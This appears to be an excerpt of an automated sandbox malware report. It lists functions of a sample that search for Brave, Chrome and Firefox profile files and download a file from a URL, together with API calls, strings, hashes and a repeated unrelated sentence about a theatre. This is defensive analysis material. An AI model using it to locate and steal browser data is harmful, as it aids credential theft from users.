Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 226bce79c573b41b694f5378d5ac9974e6587b5b0fd4f84d046ad9ca40c504cb
Instruction ID: e1b648acefeb6def57ae1ba552ef96f499d9afc0a0477e170036cd6105186d46
Opcode Fuzzy Hash: 226bce79c573b41b694f5378d5ac9974e6587b5b0fd4f84d046ad9ca40c504cb
Instruction Fuzzy Hash: 5B41FE71641604FBEB1A9FE4FC9DAAA7B70AB48752B618068F502A51A0CAF49501DF32

Function 002F38B0 Relevance: 47.5, APIs: 21, Strings: 6, Instructions: 250
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 002F38CC
FindFirstFileA.KERNEL32(?,?), ref: 002F38E3
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 002F3935
StrCmpCA.SHLWAPI(?,00300F70), ref: 002F3947
StrCmpCA.SHLWAPI(?,00300F74), ref: 002F395D
FindNextFileA.KERNELBASE(000000FF,?), ref: 002F3C67
FindClose.KERNEL32(000000FF), ref: 002F3C7C

Strings

!=/, xrefs: 002F3C82, 002F3C45, 002F3B69, 002F3909, 002F3B6C, 002F3C48
%s\*, xrefs: 002F38C0
%s%s, xrefs: 002F3AAD
%s\%s\%s, xrefs: 002F3A4A
%s\%s, xrefs: 002F397A
%s\%s, xrefs: 002F3A6F

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: !=/$%s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-3576849200
Opcode ID: fc002cfa9c59c38ab2887f8c090ef6575e4892a46e08796d10e91266ec7d4790
Instruction ID: d241f3f7729c584588d09264d9e08c36b2fd9366560002c20120cfe2da8e3094
Opcode Fuzzy Hash: fc002cfa9c59c38ab2887f8c090ef6575e4892a46e08796d10e91266ec7d4790
Instruction Fuzzy Hash: 11A14DB1A102099BDB34EF64CC85FFAB378BF59340F044598E60D96141EB74AB99CF62

Function 002EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

FindFirstFileA.KERNEL32(00000000,?,00300B32,00300B2B,00000000,?,?,?,003013F4,00300B2A), ref: 002EBEF5
StrCmpCA.SHLWAPI(?,003013F8), ref: 002EBF4D
StrCmpCA.SHLWAPI(?,003013FC), ref: 002EBF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 002EC7BF
FindClose.KERNEL32(000000FF), ref: 002EC7D1

Strings

Google Chrome, xrefs: 002EC634
Preferences, xrefs: 002EC11E
\Brave\Preferences, xrefs: 002EC1DB
Brave, xrefs: 002EC102

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 05b9254ad5de8226dc44037f1fc1cdda70a21460013529b1ba327a2efa480a7f
Instruction ID: bae09f63409751eed0a70b93bc61daf7700923b6f9ec7ed8ebf2bb7f1a789df2
Opcode Fuzzy Hash: 05b9254ad5de8226dc44037f1fc1cdda70a21460013529b1ba327a2efa480a7f
Instruction Fuzzy Hash: DD4255B192010897CB14FB60DD96EFDB37CAF54340F404578FA0A96191EE74AB69CF92

Function 6C5D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C65F688,00001000), ref: 6C5D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5D369F
__aulldiv.LIBCMT ref: 6C5D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5D3773
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5D377E
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5D37C4
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5D37CB
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5D3801
__aulldiv.LIBCMT ref: 6C5D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5D394C

Strings

AuthcAMDenti, xrefs: 6C5D3946
MOZ_TIMESTAMP_MODE, xrefs: 6C5D35DB
QPC, xrefs: 6C5D38FC
GTC, xrefs: 6C5D3912
GenuntelineI, xrefs: 6C5D3639

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: f65abe38ac8cc8ca194be05f9ddb1b8a158288b6d15dbed5fa0d8990a030af57
Instruction ID: a992858f3ff45ee44ee68d1cdefe4118f3239f8d5353e18b08dbc61611f22fa6
Opcode Fuzzy Hash: f65abe38ac8cc8ca194be05f9ddb1b8a158288b6d15dbed5fa0d8990a030af57
Instruction Fuzzy Hash: 7EB1D771B093009FDB08DF2EC89461A7BF5BB8A700F65892DE499D3790D734A901CB8A

Function 002F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 002F492C
FindFirstFileA.KERNEL32(?,?), ref: 002F4943
StrCmpCA.SHLWAPI(?,00300FDC), ref: 002F4971
StrCmpCA.SHLWAPI(?,00300FE0), ref: 002F4987
FindNextFileA.KERNEL32(000000FF,?), ref: 002F4B7D
FindClose.KERNEL32(000000FF), ref: 002F4B92

Strings

%s\%s, xrefs: 002F49A4
%s\%s, xrefs: 002F49FB
%s\*, xrefs: 002F4920

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 53aa7de81fb5fd8ef9fa60f3fe088fec909f050f4516899f48408354aceb0bf2
Instruction ID: 0a28bf8fc205e55dde0c0983db9c95d91356d1c031b74fdedc74b6c269ed6517
Opcode Fuzzy Hash: 53aa7de81fb5fd8ef9fa60f3fe088fec909f050f4516899f48408354aceb0bf2
Instruction Fuzzy Hash: 9B6173B1910209ABCB34EBA0DC45FFAB37CBF59340F048598F60992141EB70AB99DF91

Function 002F3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 002F3EC3
FindFirstFileA.KERNEL32(?,?), ref: 002F3EDA
StrCmpCA.SHLWAPI(?,00300FAC), ref: 002F3F08
StrCmpCA.SHLWAPI(?,00300FB0), ref: 002F3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 002F406C
FindClose.KERNEL32(000000FF), ref: 002F4081

Strings

%s\%s, xrefs: 002F3EB7

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: f15e738e725cb8533be1479f827b500d657ead751bff693710fd48cf1f8cf8fd
Instruction ID: e2908d68c366ae49c9c73c1f3730ec73a14e0c1012dc0d6464d0425a45a969c0
Opcode Fuzzy Hash: f15e738e725cb8533be1479f827b500d657ead751bff693710fd48cf1f8cf8fd
Instruction Fuzzy Hash: 085175B2910219ABCB24EBB0DC85EFAB37CBF54300F404598F71992140DB75EB9A9F91

Function 002E60A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E47EA
Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E4801
Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E4818
Part of subcall function 002E47B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 002E4839
Part of subcall function 002E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 002E4849

InternetOpenA.WININET(00300DF7,00000001,00000000,00000000,00000000), ref: 002E610F
StrCmpCA.SHLWAPI(?,0165D4E0), ref: 002E6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 002E618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 002E61B3
InternetReadFile.WININET(a+/,?,00000400,?), ref: 002E61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 002E620A
CloseHandle.KERNEL32(?,?,00000400), ref: 002E6249
InternetCloseHandle.WININET(a+/), ref: 002E6253
InternetCloseHandle.WININET(00000000), ref: 002E6260

Strings

a+/, xrefs: 002E624F, 002E61D8, 002E61DB, 002E6252
a+/, xrefs: 002E60B0, 002E617F, 002E6266, 002E6124, 002E60B3

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+/$a+/
API String ID: 4287319946-632523841
Opcode ID: e5765faf2ae85bfc8f015890a206b232465fc5ccd77f6400fa94af6f157ab903
Instruction ID: a357e9fe89a9d80c81948f67d92c969ca04d5e79daff2a6588e42d8f2dbe45ce
Opcode Fuzzy Hash: e5765faf2ae85bfc8f015890a206b232465fc5ccd77f6400fa94af6f157ab903
Instruction Fuzzy Hash: 6351B2B1950209ABDF20DF51DC49BEEB7B8EF14740F4080A8B709A71C0DBB46A99CF95

Function 002EF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003015B8,00300D96), ref: 002EF71E
StrCmpCA.SHLWAPI(?,003015BC), ref: 002EF76F
StrCmpCA.SHLWAPI(?,003015C0), ref: 002EF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 002EFAB1
FindClose.KERNEL32(000000FF), ref: 002EFAC3

Strings

prefs.js, xrefs: 002EF812

Memory Dump Source

